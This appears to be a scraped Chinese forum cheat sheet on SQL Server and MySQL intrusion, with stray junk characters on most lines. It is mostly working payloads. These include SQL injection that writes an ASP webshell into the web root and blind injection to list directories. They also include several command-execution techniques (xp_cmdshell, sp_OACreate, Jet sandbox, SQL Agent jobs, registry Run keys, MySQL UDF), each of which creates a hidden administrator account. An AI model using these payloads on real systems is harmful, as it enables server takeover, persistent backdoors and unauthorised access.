MSSQL语句导出一句话木马
: T& f+ { m* @首先确定网站的WEB路径
) \$ v1 c; c2 }- g;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马' T2 Q9 |1 T3 k2 d" ?6 b4 p
- D }7 B) [7 _9 ^! S* g! q9 V
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
+ v5 ^# N/ z8 U, g- \//将一句话木马插入表中- Z' r; ^* a% M! h! y
; j' m n/ Q5 f$ M
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
, ?& [# {; k. y* N6 x% z//导出一个ASP文件5 S' R% }- o) r7 C* L k
2 D# l# k1 n' c1 a' W' F# o
1 C* H( Q- L/ ~0 r关于MSSQL列目录9 l5 r/ k7 R+ F% K: d/ Q
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
9 e+ x2 Q: r" H% A9 R1 P# uInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
) e) _8 G$ L7 h. d- C5 F0 G
: J% B+ E7 s$ K/ O. `and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录0 v* l% v7 i5 h T( m: N
$ B0 k4 l" u2 T. [: R3 |+ ?And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
; t) V4 s- ]% o! a. ]5 n
/ w. k4 _ q# ?& E! mAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符# g0 Z& L w3 Q D4 Z5 ~6 M
) t1 G2 F: q; {; C& T1 e
3 ~0 Q% K# v, ^, z数据库版本和权限查看
( M6 S' E8 \, w( X# C' C# Wand 1=(select @@VERSION) //查看详细的数据库信息.
( x" Q0 M3 ~' c( W- L; E! e5 mand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA( R+ @8 ~7 b& d' }, N# e+ W
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
3 B. d# C# i2 y: V3 @8 u- w2 y6 e& Z: t/ E) q: x6 z W
i+ r, p5 o c$ \% T1 u
1.利用xp_cmdshell执行命令) [ E! Z3 s* `) V+ ?
exec master..xp_cmdshell 'net user rfire 123456 /add') A3 K; Z! R* V" g# V
exec master..xp_cmdshell 'net localgroup administrators rfire /add'2 @5 m4 L6 i, P1 b0 g
( A3 V" _' {" W& A. X7 z恢复xp_cmdshell存储过程
5 V0 `) [7 r0 ^3 n* O4 f* zExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'( {# U/ h: X$ A4 U5 g
8 D1 ~7 A/ v+ m+ D$ G. N8 m% x" D+ f! n3 h$ L
2.利用SP_OAcreate和SP_OAMETHOD执行命令8 [7 q5 ~) x! n4 G0 o
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
4 p8 Y! h8 ?5 H1 d {% r6 {" DDECLARE @shell INT //建立一个@shell实体) F4 b* Y! B; w
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
2 i/ D" t2 B$ E& ZEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例1 u! A, \6 E5 [- e
/ [- s/ b% d$ [
- D( K; W; T' H4 l& _+ Y' a3.利用沙盒模式$ h8 _& c3 v! n$ n
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。 a9 y+ c+ s. T7 n5 _
开启沙盒模式:
! q+ G, C" J0 Z, E8 VEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
P- q2 \5 d- X N3 ~. u+ J
. E M" m$ F2 q% C6 j% G执行命令:; {$ f9 D& [- ~8 g; h7 e$ s) X% J
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
3 \7 m0 B0 {3 w, Q+ x* z
, s: @% l* W# W# P, l/ Y( d4 L8 ~/ l/ W" i; k- u. z0 C
4.利用SQL代理执行命令
8 z, U, \4 F, z+ T2 iEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务3 _; }6 o3 U3 W$ v( e1 e6 Y
6 @% p+ r8 d1 a执行命令:# d2 F" p/ v% z6 M
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
) @/ h* _# f5 N* }& j( sexec sp_add_job 'x'
( h# n, N: O3 A) Sexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
3 s$ x2 e3 H! F; V0 C( d# K8 pexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
' d6 Z; [, x! t7 V! A9 m& {2 O1 o7 ^, O8 R1 U& g) o
! J5 Z- f7 l1 \9 B! M( @5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)" D- f. d5 ]0 |4 _9 L( c$ N) v# x
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
( o& x7 b) m/ M+ @' f! k D2 I0 R
# i! j: g; Q5 R( W; }( }9 o9 w! f. H# H
6.MYSQL的命令执行4 w, y! w2 s6 T& n4 N
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
7 c8 t& V. T+ v- N" q& Q- o& E9 f首先要在su.php下导出c:\windows\udf.dll- K) F2 K; U' a4 W- k3 K( x+ `2 N# n
导出后执行创建自定义函数命令:
+ J" L- E, ~0 \5 sCreate Function cmdshell returns string soname 'udf.dll'5 W- Q, M' Z5 ^* c5 G7 q
执行命令
4 c/ Y7 u, b2 s! F- f |% O0 Vselect cmdshell('net user rfire 123456 /add')" C$ e# N$ @9 j. T2 n; l0 Z
执行后删除函数 drop function cmdshell* c/ Z% y# z1 n$ d
|